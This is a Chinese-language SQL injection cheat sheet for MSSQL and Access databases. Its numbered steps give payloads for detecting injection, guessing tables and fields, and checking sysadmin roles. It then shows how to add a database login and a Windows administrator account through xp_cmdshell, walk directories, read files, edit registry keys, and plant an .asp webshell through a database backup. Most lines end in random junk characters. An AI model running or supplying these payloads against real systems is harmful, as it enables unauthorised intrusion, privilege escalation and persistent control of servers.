1.判断是否有注入;and 1=1 ;and 1=2 )3Iz (Ql
2.初步判断是否是mssql ;and user>0 <+Dn8
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3.注入参数是字符'and [查询条件] and ''=' (Hz^)5(~
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' zRl3KjET
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5.判断数据库系统 qL&[K>2z
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;and (select count(*) from sysobjects)>0 mssql o"Euwh!!
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;and (select count(*) from msysobjects)>0 access lL3khJ:%
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 $L>@Ed<
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 HU}7zK2
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 -p&" y3<p
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9.(1)猜字段的ascii值(access) UcDS9f_87
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 *{@Nq=fE
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(2)猜字段的ascii值(mssql) OwUhdiG
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Eh;'S"{/?j
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10.测试权限结构(mssql) SSg8}m5)Q
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- eRstD>r
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- +I:Unp
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Oo8VeRZ
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ]z;I_-
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- )VS=E7[
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- :WS@=sZN
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;and 1=(select IS_MEMBER('db_owner'));-- L>&t|T2
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11.添加mssql和系统的帐户 L>NL:68yN
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;exec master.dbo.sp_addlogin username;-- 5iw<>9X*
;exec master.dbo.sp_password null,username,password;-- SC!RbW@3
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- Jk11fn;\>
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;exec master.dbo.xp_cmdshell 'net user username password t]g-CW3
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 7\[@m3s
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- t%FwXaO#
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- beGa#JH,
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12.(1)遍历目录 Beo@K|3GN
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;create table dirs(paths varchar(100), id int) ({)+3]x
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;insert dirs exec master.dbo.xp_dirtree 'c:\' W:nef<WH
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;and (select top 1 paths from dirs)>0 l0m-$/
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) QXFo1m
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(2)遍历目录 n\'4
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- (gU!=F?#m
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 T2W eE@o
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 hH3RP{'=
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 !hy-L_wL]
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ,PW'#U:
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13.mssql中的存储过程 U_Ptqqt%
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xp_regenumvalues 注册表根键, 子键 I6av6t}
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 4.aZ#c91_
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xp_regread 根键,子键,键值名 %)1?TU
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;exec xp_regread "+nRGEs6
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 t%)7t9j
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xp_regwrite 根键,子键, 值名, 值类型, 值 _J#zY-j
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ec;o\erPG
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xp_regdeletevalue 根键,子键,值名 ^uc=f2=>,
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 %aCqi(.7
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 _N cR)2
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14.mssql的backup创建webshell K5h
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use model (%6P0*
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create table cmd(str image); t3_O H^
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insert into cmd(str) values (''); `U_)98
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backup database model to disk='c:\l.asp'; 9TC,!0U{_.
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15.mssql内置函数 + &Eqk
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;and (select @@version)>0 获得Windows的版本号 LEdh!</'24
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa rM%1GPVob
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;and (select user_name())>0 爆当前系统的连接用户 "KpGlY?^
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;and (select db_name())>0 得到当前连接的数据库 va@Lz&sAE%
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16.简洁的webshell d#FQc18v}k
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use model m:2^=l4
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create table cmd(str image); >kVz49j
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insert into cmd(str) values (''); U5de@Y
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backup database model to disk='g:\wwwtest\l.asp';